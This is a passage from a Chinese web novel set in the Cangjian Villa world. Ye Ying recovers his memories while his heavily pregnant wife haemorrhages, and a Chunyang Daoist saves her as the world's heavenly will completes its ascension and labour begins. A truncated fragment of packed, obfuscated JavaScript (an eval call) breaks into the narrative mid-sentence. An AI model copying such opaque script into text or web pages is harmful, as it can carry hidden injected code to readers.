叶英怔住了,维持着抓住她手腕的姿势,望着妻子在昏暗光线下写满担忧和恐惧、甚至泛着泪光的眼眸。 “夫君?”林芊雅见他不动,也不说话,只是盯着自己,心里更慌了,反手握住他的手,指尖冰凉,“你到底怎么了?别吓我……” 叶英缓缓吐出一口浊气,松开了紧捂额头的手。 他闭了闭眼,再睁开时,眼底的痛楚和混乱已经褪去恢复了平日的沉静,只是脸色依旧有些苍白。 “没事。”他低声说,声音还有些哑,却已经平稳下来,“只是……方才似乎,快要想起些什么。” 他顿了顿,看着妻子惊魂未定的脸,伸手将她轻轻揽回怀中,让她靠在自己胸前,手掌安抚地拍着她的背。 “睡吧。”他低声道,下颌蹭了蹭她的发顶,“真的没事了。” 林芊雅靠在他怀里,能清晰地听到他沉稳却比平时稍快的心跳,也能感觉到他怀抱传来的驱散了她指尖冰凉的温度。她悬着的心慢慢落回原处,但担忧并未完全散去。 “真的不用叫大夫?”她仰起脸,不放心地又问了一遍。 “不用。”叶英肯定地回答,将她圈得更紧了些,“只是梦魇罢了。你身子重,别折腾了。” 林芊雅这才不再坚持,只是将脸埋在他颈窝,双手环住他的腰,仿佛这样就能替他分担那份突如其来的痛苦和随之而来的茫然。 屋内重新安静下来。 叶英拥着妻子,目光却望向帐顶的黑暗。 差一点……只差一点…… 那层隔着他与过去的坚韧无比的屏障,刚才仿佛被什么力量猛烈地冲击了一下,几乎要碎裂开来。可就在即将破开的刹那,却又诡异地稳固了下来。 是因为看到了芊雅?还是因为别的什么?他不知道。 但那种即将触及真相却又失之交臂的感觉极为陌生。 他闭上眼,将怀中温软的身躯拥得更紧。 无论如何,此刻她在身边,便是真实。至于他的过去……总会水落石出。 而与此同时,远在世界之外的藏剑山庄,这些日子却是真正的愁云惨淡,风雨飘摇。 账房里,叶晖正对着面前堆积如山的账簿和待处理的庄务,眉头拧成了一个死结。 他今年才不过二十三岁,现在也算面容清俊,气质沉稳,只是眼下带着明显的青黑,眉宇间是化不开的疲惫与忧虑。 叶晖觉得自己快要撑不住了。 大哥叶英去南海寻铸剑材料,本是为筹备第三次名剑大会,稳固山庄声望。 可谁能想到,这一去,便音讯全无。 起初是归期延误,叶晖还安慰自己,海上风浪不定,耽搁些时日也是常事。他派了人去沿海码头打探接应。 可派出去的人带回的消息,一个比一个坏。 派出去接应的人,只在南海某片海域找到了些许船只残骸,以及几个侥幸抱住木板漂流获救、却因惊吓过度语无伦次的水手。从他们颠三倒四的叙述中,只知道船遭遇了罕见的风暴,少庄主……似乎落了水。 生不见人,死不见尸。 叶晖得知消息时眼前一黑,差点没站稳。 他第一时间封锁了消息,尤其是不敢让父亲知道。 老爷子年纪大了,近年来精力不济,将山庄事务渐渐交托,若知道最寄予厚望的长子出事,只怕…… 可纸终究包不住火。 山庄里接连派出好几拨人手,几乎将那片海域翻了个底朝天,动静实在太大。叶孟秋虽不再事事亲力亲为,但山庄如此异常,他岂会毫无察觉? 逼问之下,叶晖只得吐露实情。 叶孟秋当场就砸了手边的茶盏,脸色铁青,怒喝道:“找!给我继续找!活要见人,死……也要把尸首给我带回来!” 老爷子发了狠,亲自调派人手,甚至不惜动用一些早年积累的江湖关系和人情,撒下天罗地网,搜寻叶英的下落。 可南海茫茫,风暴无情。数月过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他每天一睁眼,就是无数的账目、信件、人事安排。夜深了,还要强打精神,处理那些棘手的、不能假手于人的事务。不累出黑眼圈就怪了。 累吗?当然累。 可他能倒下吗?不能。 叶家六个孩子,如今在身边的除了病弱的小妹,就只剩下他和今年才十六岁性子冲动莽撞的四弟叶蒙了。 叶蒙倒是有一身力气和义气,听说大哥出事后,眼睛都红了,拎着刀就要冲去南海,说要亲自把大哥找回来。 叶晖费了好大劲才把他拦下。 “四弟!你冷静点!”叶晖当时按着叶蒙的肩膀,声音带着疲惫的沙哑,“南海那么大,你知道往哪儿找吗?庄里已经派了那么多好手出去,多你一个不多!你现在最重要的,是留在庄里,看好家,练好武功!万一……万一有什么变故,你就是山庄最后的倚仗!” 叶蒙梗着脖子,眼眶通红:“可是二哥!大哥他……” “我知道!”叶晖打断他,语气严厉,“我也急!我比谁都急!但越是这种时候,越不能乱!父亲年纪大了,小妹身子不好,三弟五弟又……你我再乱了阵脚,藏剑山庄就真的完了!” 叶蒙看着二哥布满血丝的眼睛和憔悴的面容,最终咬着牙,重重地嗯了一声,把刀收了回去,只是每日练功更加拼命,仿佛要把所有的担忧和无力都发泄在手中的兵器上。 叶晖看着四弟离开的背影,长长地叹了口气,揉了揉发胀的太阳穴,重新坐回堆满账簿的案前。 劝走四弟倒还好,最让他心力交瘁的,是寻找大哥。 几乎将南海沿岸翻了个遍,重金悬赏,动用了一切能动用的关系和渠道,可大哥就像人间蒸发了一样,可依然生不见人,死不见尸。 还能怎么办呢?当然是找!他绝对不相信他的大哥会这样消失在这个世界上! 而在大哥回来之前,他会替他守好山庄。 他是叶晖,是藏剑山庄的二庄主,是父亲如今唯一还能指望还能分担的儿子。 他只盼着,大哥能平安归来,四弟此行顺利,五弟早日回家,三弟能振作起来,小妹的身体能好一些…… 快点找到吧。无论是大哥,还是五弟。 这个家,不能再少了。 49. 恢复记忆 又是一个雨夜。秋雨绵绵正敲打着窗棂,观澜院内却烛火昏黄映着床上相拥的两人。 林芊雅靠在床头,肚子高高隆起,几乎将盖在身上的薄被顶起一个明显的弧度。 她怀孕已经九个月了。 算算日子,还有约莫一个月,便是临产之期。 越是临近,汤药便越是不能断。 叶英端着一碗刚刚煎好还冒着热气的安胎药坐在床沿。 这药是大夫根据她近来的情况新开的方子,据大夫说是为了固本培元,为最后的生产积蓄力量,比之前的还婆更浓更苦些。 他舀起一勺,轻轻吹了吹,递到她唇边。 林芊雅闻到那浓重的药味,眉头几不可查地蹙了一下,下意识地往后缩了缩。 叶英看在眼里,动作顿了顿,低声道:“放了冰糖的。” 林芊雅抬眼看他,见他目光专注,便也不再犹豫,就着他的手,一小口一小口,将那碗苦涩的药汁慢慢喝了下去。每喝一口,眉头便拧紧一分,直到最后一口咽下,她才长长舒了口气,仿佛完成了一项艰巨的任务。 叶英放下药碗,又递过温水给她漱口,看她脸色有些发白,便伸手替她理了理颊边散落的发丝,指尖掠过她微凉的皮肤。 林芊雅也靠回枕上轻轻舒了口气,手不自觉地抚上腹部。那里沉甸甸的,两个孩子似乎也感受到了母亲的不适,不安分地动了动。 “睡吧。” 林芊雅点点头,在他的搀扶下慢慢躺下。 她如今肚子太大,平躺已经是不舒服了,只能侧着身了。 叶英掀开被子躺进去小心地将她揽进怀里,手臂环过她的腰,掌心贴在她腹侧,以一种既能支撑她又不会压迫到肚子的姿势,让她靠在自己胸前。 林芊雅靠在他怀里,鼻尖萦绕着他身上清冽的海棠气息和淡淡的药味,听着窗外淅淅沥沥的雨声,紧绷的神经渐渐放松下来。 两人就这么依偎着,闭目而眠。 然而,无论是相拥而眠的夫妻,还是府中沉睡的其他人,都不知道,在这雨夜之上,虚空深处,某个沉睡了许久的存在,终于睁开了“眼睛”。 那是一团乳白色的光晕,微微荡漾着,散发出一种近乎餍足又带着急切的气息。它像是伸了个懒腰,光晕微微荡漾,感知着自身恢复的力量,又看向下方那个它倾注了全部心血的世界。 世界真实化的进程,已经到了最关键、最紧绷的节点。 积蓄了数月的故事力,叶英这个异世界男主的存在与成长,林芊雅这个本土锚点的承载,以及她腹中那两个兼具两个世界特质、凝聚了庞大先天运气的胎儿……所有的力量,所有的因果,所有的变数,都已汇聚于此。 只差一步,便能挣脱小说模板的桎梏,成为一个真正稳固、自行运转的真实世界。 天道没有犹豫。 它调动起刚刚恢复甚至比之前更凝实的力量,不再有任何保留,不再有任何算计,将所有的一切都灌注进去,开始全力推动世界进行最后的也是最凶险的晋升冲击! 刹那之间—— 原本只是寻常秋雨的天空,骤然风云变色! 漆黑的云层仿佛被一只无形巨手搅动,疯狂翻涌堆积,低垂得几乎要压到屋檐。狂风毫无征兆地拔地而起,呼啸着卷过庭院,吹得树木疯狂摇摆,枝叶折断,发出凄厉的呜咽。 “轰隆——!!!” 一道惨白的闪电撕裂天幕,紧接着是震耳欲聋、仿佛就在头顶炸开的惊雷! 那雷声太响太近,仿佛要将整个天地都劈开一般。 卧房内,林芊雅被这突如其来的巨响猛地惊醒,身体剧烈地颤抖了一下,手下意识地抓紧了叶英胸前的衣襟,下意识的往叶英怀里缩去。 叶英几乎同时睁眼,手臂立刻收紧,将她更紧地护在怀里,另一只手迅速捂住了她的耳朵,低头在她发顶轻声道: “睡吧,没事,我在。” 他的声音依然那样沉稳,带着令人安心的力量。 林芊雅靠在他怀里,听着他平稳的心跳,感受着他怀抱的温暖和捂住耳朵的手掌传来的力量,惊魂未定的心也稍稍平复了些许。 可就在这时—— 一股比上次猛烈十倍、百倍的剧痛,毫无征兆、没有任何缓冲地,骤然在叶英的脑海深处轰然炸开!伴随着这撕裂般的剧痛,是无数破碎混乱的画面、声音、情感,如同决堤的洪水般蛮横地冲入他的意识! 藏剑山庄,天泽楼,海棠花。 父亲严厉而隐含期待的眼神。 二弟叶晖捧着账本眉头紧锁的模样。 三弟叶炜年少时骄傲飞扬的脸,以及后来武功尽废后的消沉背影。 四弟叶蒙举着石锁哈哈大笑的憨直。 五弟叶凡儿时顽劣上树掏鸟蛋被他抓住时求饶的鬼脸。 小妹婧衣出生时微弱如猫叫的啼哭,以及后来缠绵病榻苍白的脸。 南海,船舱,那块黝黑的异铁,触碰时眼前闪过的无数陌生又熟悉的未来片段。 纯阳子那道试图封印却因两界能量乱流而失控的清光。 可怕的吸力,破碎的船体,昏迷前最后看到的混乱天空与海水…… 最后,是坠入黑暗,再醒来时的陌生与茫然。 然后……是官道上那道纤细的身影,溶洞里背着他时沉重的喘息和滴落的鲜血,红烛下含泪却坚定的眼眸,日常相处中点点滴滴的温柔与信赖,还有此刻……腹中即将出世的两个孩子…… 所有的一切,属于叶英的二十四载人生,属于藏剑山庄少庄主的责任与牵挂,属于另一个世界的印记与因果,与这数月来在明朝世界的经历、情感,全部交织、碰撞、融合在一起! 巨大的信息洪流冲击着他的神魂,剧烈的疼痛让他眼前发黑,耳中嗡鸣,几乎无法思考,更无法控制自己的身体。 “呃——!” 叶英发出一声压抑到极致的痛哼,身体猛地绷紧,额头上青筋暴起,冷汗瞬间浸透了里衣。他捂住头,整个人不受控制地从床上翻滚下去,重重摔在地板上,蜷缩成一团,浑身都在剧烈地颤抖。 “夫君!”林芊雅吓得魂飞魄散,所有的困意和方才被雷声惊起的恐惧都被这突如其来的一幕驱散得干干净净。 她顾不得自己沉重的身子和行动不便,慌忙掀开被子就要下床去扶他。 可就在她双脚落地,急切地想要绕过床尾去扶叶英时,脚下却不知被什么绊了一下——是方才被风吹得垂落在地的帐幔一角。 “啊!” 她惊呼一声,身体失去平衡,重重地朝旁边倒去。腹部传来一阵尖锐的、前所未有的剧痛,仿佛有什么东西在里面狠狠撕扯了一下。 她摔倒在地,手本能地捂住肚子,脸色瞬间惨白如纸,呼吸也变得艰难急促起来。 而更让她恐惧的是,身下传来一股温热的、黏腻的液体涌出的感觉。 她颤抖着低头看去—— 殷红的鲜血,正缓缓地从她身下渗出,浸湿了素色的寝衣和身下的地毯,迅速晕开一片刺目的暗红。 “孩……孩子……”她嘴唇哆嗦着,声音微弱得几乎听不见,巨大的恐慌和疼痛让她眼前阵阵发黑。 而此刻,刚刚从记忆洪流的冲击中勉强找回一丝清明的叶英,一抬头,就看到了妻子倒在地上、身下染血的景象。 刹那间,刚刚涌入脑海的所有记忆,藏剑山庄的责任,弟弟们的面孔,纯阳子的封印,天道的交易,甚至是他自己的来历与力量——所有的一切,都变得不重要了。 他的世界里,只剩下眼前这一幕。 妻子苍白的脸,痛苦的眼神,还有那刺目的、不断蔓延的鲜血。 “芊雅!” 叶英目眦欲裂,发出一声近乎嘶吼的呼唤。 他几乎是手脚并用地从地上爬起来,踉跄着扑到林芊雅身边,小心翼翼地避开她身下的血迹,将她打横抱起,动作轻柔却迅疾地放回床上。 “别怕,我在,我在!”他声音发颤,握住她冰凉的手,另一只手迅速搭上她的手腕,将体内浑厚的内力毫无保留地源源不断地输送过去,试图护住她微弱的心脉和腹中胎儿的生机。 “来人!叫大夫!快叫大夫!”他朝着门外嘶声喊道,声音里带着从未有过的惊慌和绝望。 然而,门外一片死寂。 没有丫鬟惊慌的应答,没有婆子匆忙的脚步声,甚至连平日里守夜护卫的动静都没有。 只有窗外越来越狂暴的风雨声和滚滚雷鸣。 叶英心头一沉,猛地转头看向房门。 他强撑着因为记忆冲击和内力急速消耗而眩晕的脑袋,几步冲到门边,一把拉开房门—— 门外廊下,原本应该值守的丫鬟婆子,东倒西歪地躺了一地全都双目紧闭,呼吸均匀,竟像是陷入了极深的沉睡。 就连他提前安排住在附近厢房以备不时之需的两位大夫,也同样昏迷不醒地倒在各自的房门口。 整个相府,除了他们这间卧房,仿佛所有人都被无形的力量拖入了沉眠。 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师娘流了这么多血……怎么办?怎么办?! 外面的风雷更加狂暴了,闪电一道接一道,将漆黑的夜空照得如同白昼,雷声震得屋檐都在颤抖。雨水像是天河倒灌,疯狂地冲刷着庭院。 屋内,林芊雅的呼吸越来越微弱急促,身下的血迹仍在缓慢却持续地扩大。她抓着叶英的手,指甲几乎要掐进他的皮肉里,眼神涣散,嘴唇翕动着,却发不出完整的声音。 叶英将更多的内力输送到她体内,可她的身体此刻却像一个无底洞,疯狂地吞噬着他的内力,却没有任何好转的迹象,生命力依旧在飞速流逝。 绝望,如同窗外冰冷的雨水,一点点浸透了叶英的心。 他紧紧握着妻子的手,看着她痛苦苍白的脸,感受着她逐渐微弱的气息,生平第一次,感到了彻骨的无力。 即便恢复了记忆,即便想起了所有的武功和力量,此刻,他却救不了她。 云华水月也瘫坐在床边,看着师娘身下那片刺目的红,眼泪不受控制地往下掉,脑子里一片空白。 就在这风雨如晦、一切希望似乎都将被吞噬殆尽的时刻—— 忽然,窗外那肆虐的风,停了。 那震耳欲聋的雷声,息了。 连那瓢泼般的大雨,也仿佛被一只无形的手瞬间抹去,只剩下屋檐残留的雨水,滴滴答答,落在地上,发出清脆却单调的声响。 原本被狂风吹落一地的残花败叶,静静地躺在湿漉漉的地面上,一动不动。 一种诡异极致的寂静,笼罩了这片天地。 然后—— “嗒。” 一声极轻微却异常清晰的脚步声,从花园的方向传来。 像是有人穿着木屐,踩在了湿滑的石板路上。 屋内的三人包括痛得神智模糊的林芊雅,.都不由自主地,同时转头,望向房门外的方向。 月光不知何时穿透了散去的云层,清冷地洒落下来。 只见花园小径的尽头,一道身影正不疾不徐地踏月而来。 那人穿着一身黑白相间绣着太极八卦纹饰的道袍,衣袂在微风中轻轻拂动。他手持一柄拂尘,脸上留了一些雪白的胡须,用木簪束起,面容清癯,眉目平和,最引人注目的是,他脚上穿着一双看似普通的盲鞋,手中还握着一根青竹杖点地,发出规律的轻响。 正是这竹杖点地的声音,方才打破了死寂。 除了因为剧痛和失血而意识模糊、根本不认识这身道袍意味着什么的林芊雅,叶英和云华水月在看清来人装束的瞬间,瞳孔都骤然收缩。 纯阳宫的道袍! 叶英是瞬间认出了这身标志性的服饰,心中巨震。 这道袍明明就是纯阳宫的道袍,可纯阳宫的人怎么会出现在这里?这明明是另一个世界! 那道人步履从容,走到卧房门外廊下,停下脚步。 月光落在他身上,仿佛为他镀上了一层清辉。 他微微抬首,目光似乎越过了挡在门口的叶英和云华水月,直接落在了床上气息奄奄的林芊雅身上。 然后,他微微一笑,拂尘轻轻一摆,打了个稽首。 声音清越平和,却清晰地传入每个人耳中: “无量天尊。” “贫道与夫人,尚有一段未了的善缘。” “特来相助。” 50.突破屏障 不管叶英此刻心中有多少惊疑,多少困惑,对这凭空出现的道人有何疑虑,但眼下有一点再清楚不过,那就是妻子的命现如今危在旦夕,而他束手无策。 这纯阳宫的道人是他此刻唯一能看到的似乎有意愿且有能力伸出援手的存在。 哪怕这援助背后藏着再深的算计,哪怕这巧合诡异得令人头皮发麻,他也必须抓住这唯一的稻草。 他几乎没有任何犹豫,立刻侧身让开床边的位置,将道人请至近前。 所有涌到嘴边的质问和探究都被他死死压了下去,只余下一句: “请道长救她。” 那道人也微微颔首,脚步无声地走到床边。 他低头看着床上脸色惨白身下血迹刺目的林芊雅,目光在她高高隆起的腹部和冷汗涔涔的脸上停留了片刻,又轻轻摇了摇头,雪白的胡须随着动作微颤,低声叹了一句: “小丫头啊小丫头,你这也算是……无妄之灾了。” 他后面似乎还想说什么,却终究没有说出口。 只见他抬起手,宽大的道袖轻轻一拂。 没有任何征兆,一个通体洁白、触手温润的玉质小药瓶,凭空出现在他掌心之上。瓶塞无声无息地自动弹开,一粒龙眼大小通体雪白散发着淡淡清冽药香的丹丸,从瓶口缓缓浮起悬在半空。 瓶塞无声地自行开启。 那丹丸仿佛自有灵性,在空中略一停顿便化作一道柔和的白光,径直飞向林芊雅因痛苦而喘息的唇没入其中,消失不见了。 林芊雅此刻意识已经有些模糊,腹中那撕裂般的剧痛一阵紧过一阵,仿佛有两只无形的手在狠狠拉扯她的内脏,吞噬着她所剩无几的力气。她只能艰难地喘息,眼前阵阵发黑。她能感觉到生命力正随着身下的血一起,一点点流失。 然而,当那粒冰凉的丹药触及她的嘴唇,几乎是本能地她就微微张口丹药便顺势滑入她口中了。 丹药入口即化,化作一股温和却沛然的暖流,迅速流向四肢百骸,奇经八脉。 几乎是在瞬间,林芊雅身体猛地一颤。 那股自腹痛开始就仿佛扎根在她体内、疯狂吞噬着她生命力和叶英输送过去的内力的诡异吸力竟然随着这股暖流的扩散迅速减弱消失!身体里那种被掏空的虚脱感和生命力飞速流逝的冰冷感,也随之止住。 她依旧疼得满头冷汗,小腹处的坠痛和宫缩并未停止,但至少,那致命的失血和生机流逝,被这枚神奇的丹药强行遏制住了。 “师娘!”云华水月一直紧紧盯着,见林芊雅身下的血迹似乎不再扩大,气息也稍微平稳了一些,忍不住惊喜地低呼了一声。 叶英紧绷的心弦也微微一松,看向那道人的目光少了几分戒备,多了几分希冀。 然而,还没等他们这口气完全松下来,就见林芊雅眉头再次狠狠蹙起,手死死抓住身下的床单,指甲几乎要掐进布料里,喉咙里溢出压抑不住的痛哼。汗水将她额前的头发彻底打湿,黏在苍白的脸颊上。 “道长!”叶英立刻又紧张起来,急声问道,“她为何还这般疼痛?” 那道人已伸出手指,轻轻搭在林芊雅的手腕上。他闭目凝神,指尖微动,似在细细探查。 片刻后,他收回手,眉头也微微蹙起。 “不好。丹药只是暂时稳住了她的本源,止住了崩漏之势。但今晚惊扰过度,胎气彻底紊乱,宫缩已起,势不可挡——她这已然是要临产了。” 他顿了顿,看向叶英,声音平和却带着不容置疑的意味:“贫道可不会接生。” 临产?! 叶英和云华水月都愣住了。 现在?在这个所有人都昏睡不醒、风雨交加、刚刚经历凶险的夜晚? 府里当然备了产婆,而且不止一位,就安置在离观澜院不远的厢房里,随时待命。 可如今外面所有人都沉睡不醒,包括那些产婆。 没有稳婆,没有大夫,甚至连帮忙烧水递东西的下人都没有……这要怎么生?……岂不是比刚才更加凶险百倍? “那……那要如何唤醒外面的人?”叶英强迫自己冷静下来,声音里还是泄露了一丝颤抖,“道长可有法子?” 道人捋了捋胡须,目光投向窗外那片依旧笼罩在奇异寂静中的夜空,眼神似乎穿透了屋顶,看到了更深层的东西。 “此事……”他缓缓道,语气里带着一丝不易察觉的复杂,“并非尔等所想那么简单。并非有人施法让他们沉睡,而是这方天地本身,正在经历一场剧烈的……蜕变。规则不稳,生灵难免受到影响。” 他收回目光,看向床上痛苦辗转的林芊雅,又看了看满脸焦急的叶英和云华水月。 “罢了。” 道人轻叹一声,拂尘再次一摆。 “既已插手,便帮人帮到底。这天道晋升的最后一步,看似凶险,实则也缺一把推力。便由贫道,来助它一臂之力吧。” 话音未落,他整个身影忽然变得模糊起来,如同水中的倒影一般荡漾开来,然后就在叶英和云华水月惊愕的注视下化作点点清辉,消散在空气中,仿佛从未出现过。 在叶英和云华水月无法感知窥见的虚空至高之处。 原先那团乳白色的光晕,天道意识此刻已不再是悠闲看戏的姿态。 它正拼命地、近乎疯狂地伸展着自己。原本球形的光晕被极限拉伸延展,如同一个被吹到极致的透明气泡,又像一张试图将整个庞大世界模型完全包裹进去的乳白色薄膜。 它要将自身作为真实的基点,将自己的规则与存在,强行感染覆盖到世界的每一个角落,每一处虚浮的规则脉络之上,完成最后的真实化晋升。 这个过程艰难而凶险。 薄膜覆盖之处,有些区域顺利地染上了乳白色的稳定光泽,代表着那部分世界规则被成功锚定,化为真实。可更多的区域薄膜却显得力不从心,覆盖上去后依旧透明虚浮,甚至因为过度拉伸而变得稀薄,隐隐出现了消散断裂的痕迹! 天道本身的光芒也因此变得明灭不定,扩张的薄膜起伏波动,显得后继乏力,仿佛随时可能因力量耗尽而崩溃,前功尽弃。 一旦崩溃,那些被强行“真实化”的区域会反弹,整个世界可能陷入更混乱的崩解,而作为核心锚点的林芊雅和她的孩子,必将首当其冲,绝无幸理。 就在这千钧一发之际—— 一道浩瀚、精纯、带着古老道韵与磅礴生机的清光,如同自九天之外垂落的星河,无声无息地注入到那团奋力挣扎的光晕之中! 是纯阳子! 他并未直接插手世界内部的规则运转,那会引起更大的混乱和排斥。 他只是将自己的一部分本源力量,最中正平和滋养万物的大道之力,隔着世界屏障,直接灌注给了正在拼命晋升的明朝天道意识本身! 天道光晕猛地一振! 它似乎惊讶了一瞬,但随即就毫不犹豫地接纳了这股强大而友好的助力。光晕的光芒骤然变得明亮而稳定,扩张的速度和力度陡然增强! 那原本起伏不定、处处滞涩的薄膜,在纯阳子力量的支撑下,仿佛被一只无形的大手从背后稳稳托住、抚平,更加坚定、更加迅速地向着世界的每一个角落蔓延开去。 纯阳子没有解释,也没有废话。 他的意念平静而坚定地传递过去: “凝神,聚力。莫要分心。” “此乃尔等世界晋升之劫数,亦是机缘。贫道此番出手,非为挟恩,实为……了却一桩因果,顺水推舟。” “抓住机会,冲破桎梏。” 天道光团瞬间明白了。 这老头子虽然讨厌,还天天发好友申请骚扰它,但此刻,他送来的这股力量正是它最需要最关键的补充! 祂没有犹豫立刻收束所有心神不再去思考纯阳子的目的,全力引导融合这股外来却同属世界本源的清光之力。 时间,在这种层面的对抗与蜕变中,失去了常规模糊。 下方相府观澜院 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不是重新变得喧嚣,而是……一种难以言喻的仿佛万物归位尘埃落定的静。 风,彻底停了。 最后一丝流云消散。 连远处隐约残留的仿佛来自世界深处的震动也悄然平息。 紧接着—— 一道纯粹温暖仿佛蕴含着无穷生机与希望的金色光柱,毫无征兆地穿透云层,笔直地轻柔地洒落下来,不偏不倚恰好笼罩在观澜院卧房的上空,透过窗棂映照在林芊雅高高隆起的腹部。 就在被金光笼罩的瞬间,林芊雅身体猛地一僵,随即,那持续了不知多久几乎要将她撕裂的剧烈痛楚,竟如同潮水般迅速退去! 不是消失,而是转化成了一种有规律的……分娩前的坠胀与收缩感。 她疲惫至极地睁开眼,眼中还残留着痛楚的泪光,却多了几分清明的愕然。 天……亮了? 晨光熹微,透过窗纸温柔地照进来。 几乎在同一时刻,门外廊下,花园中,厢房里……所有昏迷沉睡的下人、护卫、大夫、产婆,仿佛大梦初醒般,陆续发出了迷糊的哼声.疑惑的低语,然后纷纷揉着眼睛,摇晃着站了起来。 “咦?我怎么睡在这儿?” “昨晚……怎么了?” “夫人!快去看看夫人!” 嘈杂的人声由远及近,迅速变得清晰而慌乱。 当几个丫鬟婆子揉着发懵的脑袋,匆匆赶到观澜院卧房门口,看到室内景象时,顿时吓得魂飞魄散,小姐姑爷和水月小姐都在,而床上夫人面色苍白满头大汗,捂着肚子身下被褥凌乱,空气中还隐隐残留着淡淡的血腥味…… 这情形,还需要多问吗? “夫人要生了!” 不知是谁先喊了出来。 瞬间,整个相府像是被投入滚水的油锅,彻底“醒”了过来。 惊慌却训练有素的脚步声四下响起。 “快!快去叫醒王嬷嬷和李嬷嬷!” “热水!准备大量热水!” “干净的剪刀、布巾、参汤!快!” “老爷呢?快去禀报老爷!” 命令声、催促声、器物碰撞声……交织成一片紧张却有序的忙碌。 叶英看着瞬间涌入房间、熟练而焦急地开始准备一切的仆妇和产婆,再看看床上虽然依旧痛苦却眼神清明了些许、正努力配合呼吸的妻子,又抬头望向窗外那片澄澈明亮的、仿佛被雨水彻底洗刷过的天空…… 他紧绷到极致的身体,终于几不可查地晃了一下。 一直强压着的混杂着恐惧、无力、绝望的情绪,此刻被这突如其来的生机和希望冲垮,化作一股汹涌的后怕与难以言喻的复杂心绪,堵在胸口。 他缓缓松开一直紧握着的被自己掐出血痕的手掌,轻轻覆上林芊雅冰凉汗湿的手背,指尖微微颤抖。